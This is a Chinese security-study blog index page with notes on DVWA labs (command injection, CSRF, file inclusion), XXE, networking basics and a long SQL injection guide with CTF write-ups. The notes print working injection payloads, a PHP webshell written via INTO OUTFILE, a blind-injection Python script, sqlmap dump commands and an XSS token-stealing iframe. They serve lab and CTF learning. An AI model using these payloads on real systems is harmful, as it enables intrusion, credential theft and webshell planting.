跨库查询:目标网站的同一个服务器中如果存在一个网站的数据库是使用root权限连接的,且存在sql注入漏洞,就会有被跨库攻击的风险。数据库名存放在information_schema.schemata表中的schema_name字段,查询方式和查表名一致

XXE

Posted on 2023-07-29

简介

XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害

XML

用来进行数据的传输和存储,有标签构成
XML和HTML的区别:XML被设计用来传输和存储数据,HTML被设计用来显示数据
xml实体

基本结构
XML声明,DTD部分,XML部分

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version=’1.0’?>	   // 声明XML解析器版本 

// 运用实体定义变量的写法
// 即声明一个name变量,值为john
<!DOCTYPE person[
<!ENTITY name “john”>
]>

// 引用一般实体的写法,格式为"&实体名称;"
<person>
<name>&name;</name>
<age>20</age>
</person>

hexo+github博客搭建

Posted on 2023-07-08

1、git、nodejs安装
都是一直下一步,node安装稳定版,npm在弄得安装时自动安装
git
Nodejs
git -v 、node -v、npm -v

2、Hexo框架安装

1
2
3
npm install hexo -g //hexo命令安装,hexo version
hexo init blog //初始化blog,会在当前目录创建名为blog的博客文件夹
npm install //安装依赖

以上都做完,博客就在本地搭建成功了

3、部署到GitHub
创建一个新仓库

Repository name: yzklov.github.io //用户名.github.io,固定格式
选择public,创建仓库

1
2
3
git config --global user.name "yzklov" //github用户名
git config --global user.email "1610114502@qq.com" //创建github的邮箱
npm install hexo-deployer-git --save //安装插件

创建ssh密钥
ssh-keygen -t rsa //完成以后按直接三下回车跳过
将.ssh文件里的id_rsa.pub文件里的全部内容复制下来,在github->setting里创建密钥,名字是填github用户名,然后把内容复制进去
修改_config.yml文件

1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/one-command-deployment
deploy:
type: 'git'
repo: 'git@github.com:yzklov/yzklov.github.io.git'
branch: main

可以上传到github了

CSRF

Posted on 2023-06-01

什么是CSRF?

跨站请求伪造,冒用Cookie中的信息,发起请求攻击。
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

CSRF攻击过程

1、当用户已经登录成功了一个网站
2、然后通过被诱导进了第三方网站「钓鱼网站」
3、跳转过去了自动提交表单,冒用受害者信息
4、后台则正常走逻辑将用户提交的表单信息进行处理

CSRF的特点

攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据,整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。 CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

防护策略

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

Token:存在本地local strage中的加密数据
token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功,也是现在主流的解决方案。

dvwa

Posted on 2023-05-31

暴力破解(Brute Force)

暴力破解或称为穷举法,是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止

Command Injection

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// 确定操作系统并执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 判断函数的返回值有没有Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>
  • php_uname()会返回操作系统的一些相关信息,其中就包括操作系统的名称,之后带入到stristr()函数查找windows NT,如果有就会返回字符串的剩余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE
  • shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
    可以直接进行命令注入:
    127.0.0.1&ipconfig
    127.0.0.1&net user
    127.0.0.1&systeminfo
    127.0.0.1&dir
    当然也可以使用管道符|,|的输出只有后面指令的,因为|的含义是将前面命令的标准输出作为后面命令的标准输入

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
  • array_keys() 函数返回包含数组中所有键名的一个新数组
    eg:
    1
    2
    3
    4
    <?php
    $substitutions = array('&&' => '',';' => '',);
    print_r(array_keys( $substitutions ));
    ?>
    输出:
    1
    2
    3
    4
    5
    Array
    (
    [0] => &&
    [1] => ;
    )
  • str_replace():array_keys( $substitutions )规定查找的字符;$substitutions是规定查找到后要替换成的值;$target是目标字符串
    下面的代码后low一样,所以可以使用&来拼接也可以这样绕过:127.0.0.1 &;& ipconfig

high

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

和medium的差别就是黑名单过滤变多了,其中最后一个存在空格,所以可以使用127.0.0.1|| net user

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// 将ip分成4个八位字节
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

查看代码,impossible级别的代码加入了Anti-CSRF:token,同时对参数ip进行了严格限制,只有像“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
源码分析
先checkToken,检查了token,然后把输入的ip=()删除反斜杠,接着用explode()函数把传入的命令以.为分界分成4个部分,然后if语句中使用is_numeric()函数来验证每个部分是不是数字,sizeof()函数检查是不是四个部分,如果以上都满足就将四个部分拼接在一起进行命令执行,否则报错。最后生成生成反csrf令牌。

CSRF

low

这是一个修改密码的页面,修改试试,修改成功,并且是以get方式传输的

从有源码中,可以知道,服务器收到修改密码的请求后,会检查参数$pass_new与$pass_conf是否相同,如果相同就会修改密码,并且没有任何的防csrf机制
我们就直接在URL中修改内容:
http://www.dvwa.test/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change#
(必须使用同一个浏览器,因为在访问页面时通常存在cookie认证,否则即使点击了恶意链接也没用)
密码有效

所以在这种情况下我们可以使用短链接包装一下上面的链接诱骗受害者点击,然后密码就会被自动修改

Medium

直接修改url,提示请求错误

尝试修改密码,抓包发现referer

查看源码,medium级别中通过Referer检查来源,要求Referer中的来源方和host一致才能通过,所以我们需要添加并修改Referer

High

加入了Anti-CSRF token来防范CSRF攻击,即随机生成了一个token,正确时才能通过。
如果要绕过这个机制,就要获取token,然后利用受害者的cookie去修改密码
这里需要XSS+CSRF来共同完成:
找到DVWA中的XSS(stored)模块,在Low中抓包投放js代码
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
然后就出现了这样一个数据信息

再点击DVWA Security后弹出token

构造语句后将这个token添加上,然后回车

Impossible

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

File Inclusion

low

没有任何保护措施,可以直接在地址栏中进行文件名传参
?page=D:/phpStudy/PHPTutorial/WWW/phpinfo.php

Medium

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation验证
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

对于http的替换我们可以采用双写绕过,而下面的斜杠主要是针对相对路径文件存储路径,但如果我们采用绝对路径上述过滤也可以成功绕过

high

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
  • fnmatch() 函数:根据指定的模式来匹配文件名或字符串
    采用file类型地址,那么我们就把我们要输入的地址进行修改
    ?page=file:///D:/phpStudy/PHPTutorial/WWW/phpinfo.php

Impossible

1
2
3
4
5
6
7
8
9
10
11
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

查看源代码,发现采用了白名单过滤,规定了传入的文件只能是这几个,那么就杜绝了文件包含漏洞

交换机和路由器

1、交换机是用来组建局域网最重要的设备(一个圈打个叉)
2、路由器可以让这个局域网(内网)上网,实现连接内网和外网(长方形两条横线)
3、交换机、网线、电脑构成局域网

上面那个是交换机,下面是电脑的网卡插着网线连接着交换机
如果这个局域网需要可以上网就需要买路由器,路由器一端连交换机一端连运营商而这几台电脑之间需要能通信就需要有ip地址
这里是VMware提供的虚拟交换机

如果我勾选VMnet1相当于我的虚拟机的网卡连上了交换机,如果另一台虚拟机也连这个交换机就可以做局域网实验
IP可以手动配也可以自动,但是企业的ip一般是手动配的不会变

ip地址

ip地址就是一个唯一标识,是一段网络编码(二进制),由32位组成
11010010.01001001.10001100.00000110
210.73.140.6(便于记忆这样写)
常用ip地址都是由32位二进制组成的,最大的ip地址是255.255.255.255最小的ip地址是0.0.0.0

子网掩码

有ip的地方必须有子网掩码

  • 局域网通信规则:在同一个局域网中,所有的ip必须在同一个网段中才可以互相通信,所以在不同的网段需要路由器才能通信,单单有交换机不行
  • ip地址的构成:网络位+主机位(网络位相同的ip地址为同一个网段)类比你来自哪里,你叫什么网络位可以是前一位两位三位,而子网掩码就是来确认网络位的,在子网掩码中与255对应的是网络位,与0对应的是主机位,比如255.0.0.0就是将第一个小数点前作为网络位,255和0都是连续的不会出现交替
  • 每个网段的总称是将ip的主机位置零,表示这个网段
    eg:
    ip:10.1.1.1
    子网掩码:255.255.255.0
    这个网段表示为10.1.1.0,该网段的广播地址是10.1.1.255,广播地址是指可以直接向这个网段的所有ip地址发送东西,可以视为组播地址的升级版,是该网段的
    大喇叭,255.255.255.255是全局广播地址,可以向所有网段发送信息,但是现在一些地区已经做了隔断。所有可用地址有254个,除去主机位全为0或255的

IP地址分类(看第一部分区分)

国际标准组织ISO定义地址分类:五大类(是以ip地址的第一位区分)

A类:1-126 默认子网掩码:255.0.0.0
B类:128-191 默认子网掩码:255.255.0.0
C类:192-223 默认子网掩码:255.255.255.0
D类:224-239 组播地址
E类:240-254 科研使用

这样的定义年代久远了,已经不一定使用默认子网掩码,普通人只能使用前三类,子网掩码可以修改
127.0.0.1是回环地址,代表本主机自己,经常用来测试将自己的主机作为服务器是否故障,就ping 127.0.0.1看看是否可以访问

组播技术
和组播地址相对应的是单播地址,就是一个人一个地址,但组播地址就可以给一组人使用,将一组ip地址视为是同一个组播地址,发东西只发给这个ip地址就相当于发给这一组ip地址,这样的组播技术可以节省服务器带宽

网关(GW)

这个整体是内网


电脑向别的ip地址发送信息时先会比较自己和对方是否在同一个网段,如果不在同一个网段就直接通过交换机发给对方;如果不在同一网段就得发给路由器,而一般每个网段的第一个或最后一个可用的ip地址作为网关,网关就是整个内网的出口,是通向外网的通道,所以只需要将信息发给网关,网关会去寻找要转发的对象(这里怎么转发就涉及到路由器原理了)。
这里的10.1.1.254就是网关,如果只需要在局域网中通信就只需要ip和子网掩码,如果要上网就必须配网关,如果不知道网关就无法和外界通信,一般网关在路由器上

这里就有配置默认网关

VM开头的是虚拟的,一般网卡的牌子是realtek和Intel,所以属于我物理机的是以太网

DNS(域名解析服务器)

任何两个PC通信都需要知道对方的ip,当在浏览器上地址栏输入www.jd.com浏览器会先问问自己,即查看有没有匹配的DNS缓存,但如果从来没有访问过就先在本地域名解析文件(host文件)中寻找,如果还没有就求助DNS服务器,所以电脑需要知道DNS服务器的IP,DNS的服务器分布于全球各地,DNS的ip是在公网(互联网)上
这里是电脑里的相关配置,这个DNS服务器是北京联通的最通用的一台DNS

访问过程

如果所使用的DNS服务器被劫持,使我们输入的域名解析成恶意网站就很危险
一些网络测试命令

  • ping 测试网络连通性,有去有回,相当于发过去几个探测包,对方有回包
    这里的时间可以反映网速,如果对方打开防火墙的某些功能也会ping不通
  • nslookup 域名(比如www.baidu.com),手工解析ip地址

sql注入总结

Posted on 2023-05-30

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行

注入时信息收集


mysql的版本5.0以上才有information_schema数据库

  • 信息收集:
    查询数据库 version()
    数据库名字 databaase()
    数据库用户 user()
    操作系统 @@version_compile_os

跨库查询:目标网站的同一个服务器中如果存在一个网站的数据库是使用root权限连接的,且存在sql注入漏洞,就会有被跨库攻击的风险。数据库名存放在information_schema.schemata表中的schema_name字段,查询方式和查表名一致

mysql基本知识

image-20240414154102699

mysql有个自带的数据库:information_schema,该数据库下面有表:tables和columns和schemata。
tables表中有个字段:table_name 是所有数据库存在的表名
columns表中有个字段:column_name 是所有列名
schemata表中:schema_name 是所有数据库名

1
2
3
4
SHOW TABLES FROM information_schema;

use database information_schema;
show tables;

image-20240414154730234

  • 注释:-- 空格 和#

  • SELECT

    1
    2
    3
    4
    5
    6
    7
    SELECT NOW(); //查时间
    SELECT DATABASE(); //查看当前数据库
    SELECT VERSION(); //查看版本
    SELECT USER(); //查看当前登录数据库的用户
    SELECT @@datadir; //查看数据路径
    SELECT @@basedir; //查看mysql安装路径
    SELECT @@version_compile_os; //查看mysql安装的系统

注入点类型判断

  • 数字型
  • 字符型
    数字型判断
    当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
    select * from <表名> where id = x
    这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
  • Url 地址中输入/abc.php?id= x and 1=1 页面依旧运行正常
  • Url 地址中继续输入 /abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断

  • Url 地址中输入 /abc.php?id= x' and '1'='1 页面运行正常
  • Url 地址中继续输入 /abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
    同样可以使用假设法来验证

联合注入

以下是字符型的情况:
1、判断列数
?id=1'order by 3 --+
2、判断显示位,就是看哪一列会显示在屏幕上
?id=-1'union select 1,2,3--+
3、数据库名
?id=-1'union select 1,database(),3--+
4、该数据库下的表名

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5、待查表的字段名

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

6、数据
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

报错注入

  • updatexml()是更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
实际上这里是去更新xml文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入了特殊字符,因为不符合输入规则所以报错,但是报错的时候其实已经执行了子查询语句,并从报错信息中显示出来

数据库名
?id=1' or updatexml(1,concat('~',(select database()),'~'),1) --+
表名

1
?id=1' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),1) --+

字段

1
?id=1' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1),'~'),1) --+

数据

1
?id=1' or updatexml(1,concat('~',(select password from users limit 0,1),'~'),1) --+

ps:

  • 报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
  • 建议使用or,因为and如果两条语句有一条是false,就会判定为false,如果前面的条件不成立,后面的语句就不会执行
    报错注入显示不全问题解决

使用mid函数
?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),1,31),'~'),1) --+
?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),32,31),'~'),1) --+用mid函数包含查询内容,第二个参数规定开始位置,第三个参数是返回的字符个数

写入读取文件

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有三个:
into dumpfile()、into outfile()、load_file()
这些都是需要设置secure_file_priv=,如果为空则可以指定任意目录,如果有设置等于某个路径就只能在这个路径下写入,如果为null则禁止导入导出功能
可以往里面写马

1
?id=1'))union select 1,"<?php @eval($_POST['attack']);?>",3 into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php" --+

也可以直接把想要查询的内容导出

1
?id=-1'))  union select 1,2,group_concat(username, "~",password) from users into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/outfile.txt" --+

常见写入文件问题:魔术引号开关
magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,影响文件路径
解决方式:16进制编码

布尔盲注

没有显错位的时候可以尝试使用盲注的方式
下面介绍一些盲注相关的函数
length():返回字符串的长度
substr():截取字符串
ascii():返回字符的ascii码
sleep():将程序挂起一段时间
if(1,2,3):判断1成立就执行2,不成立就执行3

数据库长度
?id=1'and (length(database()))=1 --+

数据库名称
?id=1'and ascii(substr(database(),1,1))=100 --+

表名

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+

字段名

1
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
1
?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='i' --+

可以使用字符判断也可以使用字符本身,每个字段名会被隔开,所以中间会有不在a~z范围内的,当然也可以一个一个查

数据

1
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

时间盲注

如果输入什么,页面回显都不变可以考虑使用时间盲注
判断参数构造
?id=1' and if(1=1,sleep(5),1)--+

库名长度
?id=1'and if(length((select database()))=8,sleep(5),1)--+

数据库名称
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

表名

1
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),1)--+

字段名

1
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=100,sleep(5),1)--+

数据

1
?id=1' and if(ascii(substr((select username from users),1,1))=100,sleep(5),1)--+

post型

万能密码:’or 1=1 #

联合注入

判断列数
' or 1=1 order by 3#
判断显示位
' union select 1,2 #
后面和get型相同
‘union select 1,database()#

参数类型

数字型、字符型,括号尝试
搜索框中参数可能是'%查询%'这样的,所以要%的闭合

[强网杯 2019]随便注

1’ and 1=1 –+
1’ and 1=2 –+
判断出存在sql注入
1’order by 3 –+ //判断列数是2
1’union select 1,2 –+ //尝试联合注入
回显内容:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入
1’;show databases; –+
由上面可知,extractvalue没有被过滤
1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+ //显示现在访问的数据库名称

1
error 1105 : XPATH syntax error: '~supersqli~'

是flag所在的数据库,所以直接查看表名
0’; show tables; #
两个表:words、1919810931114514
1’; show columns from words; #
1’; show columns from 1919810931114514; # //表名是数字的用反引号包裹
words:

1919810931114514:

我们需要读取的是第二个表内的flag字段的内容,所以思路是:
查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)

1
0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

第二种方法

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

在SQL语句中使用了一个变量@a,并将一个十六进制值赋给了这个变量,使用了prepare语句,将之前赋值给变量@a的十六进制值转换为可执行的SQL语句,执行之前准备好的SQL语句
prepare from是预处理语句,会进行编码转换
execute用来执行由SQLPrepare创建的SQL语句

第三种方法:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

将表名1919810931114514通过别名a的方式打开,以别名a的形式读取下一条记录

[CISCN2019 华北赛区 Day2 Web1]Hack World

输入1或2都有回显,输入其他的会显示error,那么先试一下万能密码1'or 1=1 #,发现回显sql注入检查,所以是有过滤,fuzz测试一下

这些长度一样的都是被过滤的,–+和#都被过滤了
输入1’,回显bool(false),说明提示布尔盲注,两个新姿势:

1
2
if(1=1,1,2):若第一个成立就指向第二个
0^1:mysql里是亦或

空格被过滤,所以用()代替
然后就是编写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://7b7b80d0-9cb2-4722-aaf7-b1c57e676401.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43): //range左边是不等于,所以循环42次
max = 127
min = 0
for c in range(0,127): //理论上大于最多次二分查找就行
s = (int)((max+min)/2) //转换为整数,直接舍去小数部分,用于下方的比较
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' //str(i)转换为字符串,+是字符串拼接运算符
r = requests.post(url,data = {'id':payload}) //发送POST请求,其中id 是传递SQL注入负载的参数名
time.sleep(0.005) //添加短暂的延迟,避免频繁请求导致触发安全机制
if 'Hello, glzjin wants a girlfriend.' in str(r.content): //响应内容通常以字节流(bytes)的形式返回,将其转换为字符串以便进行文本匹配和处理
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max) //转换为字符形式
print(flag)
break

or updatexml(1,concat(‘‘,(select group_concat(table_name) from information_schema.tables where table_schema=’fakebook’ ),’‘),1)
?id=1’ or updatexml(1,concat(‘‘,(select group_conca(column_name) from information_schema.columns where table_schema=’fakebook’and table_name=’users’ ),’‘),1) –+
or updatexml(1,concat(‘‘,(select left(passwd,30) from users ),’‘),1) –+

sqlmap使用

1、查询数据库 sqltest
一定要跟上注入点的url
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" --current-db

2、查数据表
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest --tables

3、查数据列
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin --columns

4、查数据
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin -C user,pwd --dump
//–后面跟待查内容,current-db整体代表当前数据库,–batch:无交互行为

NoSQLAttack是一个python编写的专门用于对MongoDB数据库进行SQL注入的渗透测试工具,非常简单好用,并且极大的弥补了sqlmap的不足(sqlmap不能对MongoDB数据库进行渗透)

相关防注入:
自带防御:魔术引号
内置函数: int等
自定义关键字: select
WAF防护软件:安全狗,宝塔

请求方式request既可以接收get也可以接收post
get、request、post、cookies、http头部($_SERVER全局变量)、json数据格式请求

$_SERVER用法
如果使用这个变量接收了用户的信息,并带入数据库查询,就可能存在注入漏洞
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容,注入点在http请求头的User_Agent
json就是和参数=值的表达类型不一样而已

1
2
3
4
5
6
7
a=1' and 1=1 &b=1&c=1
json:
{
"a":"1 and 1=1"
"b":"1"
"c":"1"
} //不用考虑"闭合,要看参数值的类型来猜测需不需要闭合' "

SELECT * FROM users WHERE username= ‘{$username}’,{是格式,只要闭合’

其他数据库

注入流程:

<i class="fa fa-angle-left"></i>123…5<i class="fa fa-angle-right"></i>

41 posts
10 tags
© 2024 yzklov
Powered by Hexo
|
Theme — NexT.Pisces v5.1.3